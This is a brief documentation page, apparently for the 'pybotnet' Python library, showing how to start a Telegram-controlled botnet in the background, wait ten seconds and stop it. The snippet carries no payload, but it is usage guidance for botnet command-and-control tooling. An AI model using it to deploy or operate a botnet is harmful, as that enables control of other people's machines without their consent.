Run in background
botnet in background, Example:
main.py
import time
from pybotnet import BotNet, TelegramEngine
telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID)
botnet = BotNet(telegram_engine)
botnet.run_background() # (1)
time.sleep(10) # (2)
botnet.stop_background() # (3)
- run botnet in background
- just wait for 10s
- stop botnet
in above example we run botnet in backgrund, wait for 10s and stop it!